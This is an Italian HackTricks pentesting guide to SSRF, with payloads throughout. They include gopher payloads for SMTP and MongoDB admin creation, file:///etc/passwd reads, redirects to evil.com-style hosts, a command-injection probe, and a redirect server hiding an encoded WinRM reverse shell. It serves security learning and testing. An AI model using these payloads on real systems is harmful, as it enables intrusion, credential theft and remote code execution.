SSRF (Server Side Request Forgery)

Reading time: 24 minutes

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

Informazioni di base

Una vulnerabilità di Server-side Request Forgery (SSRF) si verifica quando un attaccante manipola un applicazione lato server per effettuare richieste HTTP a un dominio di sua scelta. Questa vulnerabilità espone il server a richieste esterne arbitrarie dirette dall'attaccante.

Cattura SSRF

La prima cosa che devi fare è catturare un'interazione SSRF generata da te. Per catturare un'interazione HTTP o DNS puoi utilizzare strumenti come:

Bypass dei domini autorizzati

Di solito scoprirai che l'SSRF funziona solo in alcuni domini autorizzati o URL. Nella pagina seguente hai una compilazione di tecniche per cercare di bypassare quella whitelist:

{{#ref}} url-format-bypass.md {{#endref}}

Bypass tramite open redirect

Se il server è correttamente protetto, potresti bypassare tutte le restrizioni sfruttando un Open Redirect all'interno della pagina web. Poiché la pagina web consentirà SSRF allo stesso dominio e probabilmente seguirà i redirect, puoi sfruttare l'Open Redirect per far accedere il server a qualsiasi risorsa interna.
Leggi di più qui: https://portswigger.net/web-security/ssrf

Protocolli

  • file://
  • Lo schema URL file:// è riferito, puntando direttamente a /etc/passwd: file:///etc/passwd
  • dict://
  • Lo schema URL DICT è descritto come utilizzato per accedere a definizioni o elenchi di parole tramite il protocollo DICT. Un esempio fornito illustra un URL costruito che mira a una parola specifica, un database e un numero di voce, così come un'istanza di uno script PHP potenzialmente abusato per connettersi a un server DICT utilizzando credenziali fornite dall'attaccante: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Identificato come un protocollo per il trasferimento sicuro di file tramite shell sicura, viene fornito un esempio che mostra come uno script PHP potrebbe essere sfruttato per connettersi a un server SFTP malevolo: url=sftp://generic.com:11111/
  • TFTP://
  • Il Trivial File Transfer Protocol, che opera su UDP, è menzionato con un esempio di uno script PHP progettato per inviare una richiesta a un server TFTP. Una richiesta TFTP viene effettuata a 'generic.com' sulla porta '12346' per il file 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Questo segmento tratta il Lightweight Directory Access Protocol, enfatizzando il suo utilizzo per gestire e accedere a servizi di informazioni directory distribuiti su reti IP. Interagisci con un server LDAP su localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • Viene descritto un metodo per sfruttare le vulnerabilità SSRF per interagire con i servizi SMTP su localhost, inclusi i passaggi per rivelare nomi di dominio interni e ulteriori azioni investigative basate su tali informazioni.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • Se l'SSRF viene eseguito da curl, curl ha una funzionalità chiamata URL globbing che potrebbe essere utile per bypassare i WAF. Ad esempio, in questo writeup puoi trovare questo esempio per un path traversal tramite il protocollo file:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • La capacità del protocollo Gopher di specificare IP, porta e byte per la comunicazione con il server è discussa, insieme a strumenti come Gopherus e remote-method-guesser per creare payload. Vengono illustrati due usi distinti:

Gopher://

Utilizzando questo protocollo puoi specificare l'IP, la porta e i byte che desideri che il server invi. Poi, puoi sostanzialmente sfruttare un SSRF per comunicare con qualsiasi server TCP (ma devi sapere come parlare con il servizio prima).
Fortunatamente, puoi usare Gopherus per creare payload per diversi servizi. Inoltre, remote-method-guesser può essere utilizzato per creare payload gopher per servizi Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Connessione inversa a 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Crea un utente con username=admin con password=admin123 e con permission=administrator

bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF tramite intestazione Referrer e altri

Il software di analisi sui server spesso registra l'intestazione Referrer per tracciare i link in arrivo, una pratica che espone involontariamente le applicazioni a vulnerabilità di Server-Side Request Forgery (SSRF). Questo perché tale software può visitare URL esterni menzionati nell'intestazione Referrer per analizzare il contenuto del sito di riferimento. Per scoprire queste vulnerabilità, si consiglia il plugin di Burp Suite "Collaborator Everywhere", sfruttando il modo in cui gli strumenti di analisi elaborano l'intestazione Referer per identificare potenziali superfici di attacco SSRF.

SSRF tramite dati SNI da certificato

Una configurazione errata che potrebbe abilitare la connessione a qualsiasi backend attraverso una semplice configurazione è illustrata con un esempio di configurazione Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

In questa configurazione, il valore del campo Server Name Indication (SNI) è utilizzato direttamente come indirizzo del backend. Questa impostazione espone una vulnerabilità a Server-Side Request Forgery (SSRF), che può essere sfruttata semplicemente specificando l'indirizzo IP o il nome di dominio desiderato nel campo SNI. Un esempio di sfruttamento per forzare una connessione a un backend arbitrario, come internal.host.com, utilizzando il comando openssl è fornito di seguito:

bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget file upload

SSRF con Command Injection

Potrebbe valere la pena provare un payload come: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Rendering dei PDF

Se la pagina web sta creando automaticamente un PDF con alcune informazioni che hai fornito, puoi inserire del JS che verrà eseguito dal creatore del PDF stesso (il server) durante la creazione del PDF e potrai abusare di un SSRF. Trova ulteriori informazioni qui.

Da SSRF a DoS

Crea diverse sessioni e prova a scaricare file pesanti sfruttando l'SSRF dalle sessioni.

Funzioni PHP SSRF

Controlla la seguente pagina per funzioni PHP vulnerabili e persino funzioni di Wordpress:

{{#ref}} ../../network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md {{#endref}}

SSRF Redirect a Gopher

Per alcune sfruttamenti potresti aver bisogno di inviare una risposta di redirect (potenzialmente per utilizzare un protocollo diverso come gopher). Qui hai diversi codici python per rispondere con un redirect:

python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Proxy mal configurati per SSRF

Trucchi da questo post.

Flask

Codice vulnerabile del proxy Flask
python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')

def proxy(path):
return get(f'{SITE_NAME}{path}').content

if __name__ == "__main__":
app.run(threaded=False)

Flask consente di utilizzare @ come carattere iniziale, il che consente di rendere il nome host iniziale il nome utente e iniettare un nuovo nome. Richiesta di attacco:

http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Codice vulnerabile:

È stato scoperto che è possibile iniziare il percorso di una richiesta con il carattere ; che consente di utilizzare poi @ e iniettare un nuovo host da accedere. Richiesta di attacco:

http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP Built-in Web Server

Codice PHP vulnerabile
php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];

$proxy_site = $site.$current_uri;
var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site);
var_dump($response);
?>

PHP consente l'uso del carattere * prima di una barra nel percorso dell'URL, tuttavia, ha altre limitazioni come il fatto che può essere utilizzato solo per il percorso radice / e che i punti . non sono consentiti prima della prima barra, quindi è necessario utilizzare un indirizzo IP codificato in esadecimale senza punti, ad esempio:

http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP bypass

Se hai problemi a estrarre contenuti da un IP locale a causa di CORS/SOP, DNS Rebidding può essere utilizzato per bypassare questa limitazione:

{{#ref}} ../cors-bypass.md {{#endref}}

Automated DNS Rebidding

Singularity of Origin è uno strumento per eseguire attacchi di DNS rebinding. Include i componenti necessari per riassociare l'indirizzo IP del nome DNS del server di attacco all'indirizzo IP della macchina target e per servire payload di attacco per sfruttare software vulnerabili sulla macchina target.

Controlla anche il server pubblico in http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

Requisiti:

  • SSRF
  • Sessioni TLS in uscita
  • Cose su porte locali

Attacco:

  1. Chiedi all'utente/bot di accedere a un dominio controllato dall'attaccante
  2. Il TTL del DNS è 0 sec (quindi la vittima controllerà di nuovo l'IP del dominio a breve)
  3. Viene creata una connessione TLS tra la vittima e il dominio dell'attaccante. L'attaccante introduce il payload all'interno del Session ID o Session Ticket.
  4. Il dominio avvierà un ciclo infinito di reindirizzamenti contro se stesso. L'obiettivo di questo è far accedere l'utente/bot al dominio fino a quando non esegue di nuovo una richiesta DNS del dominio.
  5. Nella richiesta DNS viene fornito un indirizzo IP privato ora (127.0.0.1 ad esempio)
  6. L'utente/bot cercherà di ristabilire la connessione TLS e per farlo invierà il Session ID/Ticket ID (dove era contenuto il payload dell'attaccante). Quindi congratulazioni, sei riuscito a chiedere all'utente/bot di attaccare se stesso.

Nota che durante questo attacco, se vuoi attaccare localhost:11211 (memcache) devi far stabilire alla vittima la connessione iniziale con www.attacker.com:11211 (il porto deve sempre essere lo stesso).
Per eseguire questo attacco puoi usare lo strumento: https://github.com/jmdx/TLS-poison/
Per maggiori informazioni dai un'occhiata alla conferenza in cui viene spiegato questo attacco: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

La differenza tra un blind SSRF e uno non blind è che nel blind non puoi vedere la risposta della richiesta SSRF. Quindi, è più difficile sfruttare perché sarai in grado di sfruttare solo vulnerabilità ben note.

Time based SSRF

Controllando il tempo delle risposte dal server potrebbe essere possibile sapere se una risorsa esiste o meno (forse ci vuole più tempo ad accedere a una risorsa esistente rispetto ad accedere a una che non esiste)

Cloud SSRF Exploitation

Se trovi una vulnerabilità SSRF in una macchina che gira all'interno di un ambiente cloud potresti essere in grado di ottenere informazioni interessanti sull'ambiente cloud e persino credenziali:

{{#ref}} cloud-ssrf.md {{#endref}}

SSRF Vulnerable Platforms

Diverse piattaforme note contengono o hanno contenuto vulnerabilità SSRF, controllale in:

{{#ref}} ssrf-vulnerable-platforms.md {{#endref}}

Tools

SSRFMap

Strumento per rilevare e sfruttare vulnerabilità SSRF

Gopherus

Questo strumento genera payload Gopher per:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser è uno scanner di vulnerabilità Java RMI che supporta operazioni di attacco per la maggior parte delle comuni vulnerabilità Java RMI. La maggior parte delle operazioni disponibili supporta l'opzione --ssrf, per generare un payload SSRF per l'operazione richiesta. Insieme all'opzione --gopher, possono essere generati direttamente payload gopher pronti all'uso.

SSRF Proxy

SSRF Proxy è un server proxy HTTP multi-thread progettato per tunnelare il traffico HTTP del client attraverso server HTTP vulnerabili a Server-Side Request Forgery (SSRF).

To practice

{{#ref}} https://github.com/incredibleindishell/SSRF_Vulnerable_Lab {{#endref}}

References

tip

Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks